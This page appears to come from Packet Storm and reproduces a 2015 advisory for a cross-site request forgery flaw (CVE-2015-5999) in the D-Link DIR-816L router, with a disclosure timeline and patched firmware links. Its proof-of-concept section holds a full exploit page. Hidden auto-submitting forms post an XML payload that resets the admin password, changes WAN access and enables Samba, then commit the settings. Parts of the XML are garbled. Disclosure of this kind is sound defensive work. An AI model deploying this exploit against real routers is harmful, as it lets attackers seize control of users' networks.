exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link DIR-816L Cross Site Request Forgery

D-Link DIR-816L Cross Site Request Forgery
Posted Nov 16, 2015
Authored by Bhadresh Patel

D-Link DIR-816L suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2015-5999
SHA-256 | f54a02c65266070e4ccb77e414fa80b01985dfac15a15e41015c0d16bf0a2709

D-Link DIR-816L Cross Site Request Forgery

Change Mirror Download

Title:
====

D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability

Credit:
======

Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com

CVE:
=====

CVE-2015-5999

Date:
====

10-11-2015 (dd/mm/yyyy)

Vendor:
======

D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.

Product:
=======

DIR-816L is a wireless AC750 Dual Band Cloud Router

Product link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L


Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.

Report-Timeline:
============
27-07-2015: Vendor notification
27-07-2015: Vendor Response/Feedback
05-11-2015: Vendor Fix/Patch
10-11-2015: Public or Non-Public Disclosure


Affected Version:
=============

<=2.06.B01

Exploitation-Technique:
===================

Remote


Severity Rating:
===================

7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)


Details:
=======

An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.


Proof Of Concept:
================

1) User login to DIR-816L wireless router

2) User visits the attacker's malicious web page (attacker.html)

3) attacker.html exploits CSRF vulnerability and changes the admin account password

PoC video link: http://youtu.be/UBdR2sUc8Wg

Exploit code (attacker.html):

<html>
<body>

<iframe style="display:none" name="hiddenpost"></iframe>

<form action="http://192.168.0.1/hedwig.cgi" method="POST" enctype="text/plain" target="hiddenpost" id="csrf">

<input type="hidden" name="<?xml version" value=""1.0" encoding="UTF-8"?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>DIR-816L</gw_name>

<account>
<seqno>1</seqno>
<max>2</max>
<count>1</count>
<entry>
<uid>USR-</uid>
<name>Admin</name>
<usrid/>
<password>password</password>
<group>0</group>
<description/>
</entry>
</account>
<group>
<seqno/>
&
#9;<max/>
<count>0</count>
</group>
<session>
<captcha>1</captcha>
<dummy/>
<timeout>180</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
<module>
<service>HTTP.WAN-1</service>
<inf>
<web></web>
<https_rport></https_rport>
<stunnel>1</stunnel>
<weballow>
<hostv4ip/>
</weballow>
<inbfilter/>
</inf>

</module>
<module>
<service>HTTP.WAN&#45
;2</service>
<inf>
<a!
ctive&gt
;0</active>
<nat>NAT-1</nat>
<web/>
<weballow>
<hostv4ip/>
</weballow>
</inf>

</module>
<module>
<service>INBFILTER</service>
<acl>
<inbfilter>
<seqno>1</seqno>
<max>24</max>
<count>0</count>

</inbfilter>
</acl>
<ACTIVATE>ignore</ACTIVATE>
<FATLADY>ignore</FATLADY><SETCFG>ignore</SETCFG></module>
<module>
<service>SHAREPORT</service>
<FATLADY>ignore</FATLADY>

<ACTIVATE>ignore</ACTIVATE></module>
<module>

<service>SAMBA</service>
<samba>

<enable>1</enable>
<auth>1</auth>

</samba>
</module>
</postxml>" />

</form>

<script>alert("This is CSRF PoC");document.getElementById("csrf").submit()</script>

<iframe style="display:none" name="hiddencommit"></iframe>

<form action="http://192.168.0.1/pigwidgeon.cgi" method="POST" target="hiddencommit" id="csrf1">

<input type="hidden" name="ACTIONS" value="SETCFG,SAVE,ACTIVATE" />

</form>
<script>document.getElementById("csrf1").submit()</script>

</body>
</html>



Patched/Fixed Firmware and notes:
==========================

2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP

2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF



Credits:
=======

Bhadresh Patel
Security Analyst
HelpAG (www.helpag.com)

Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close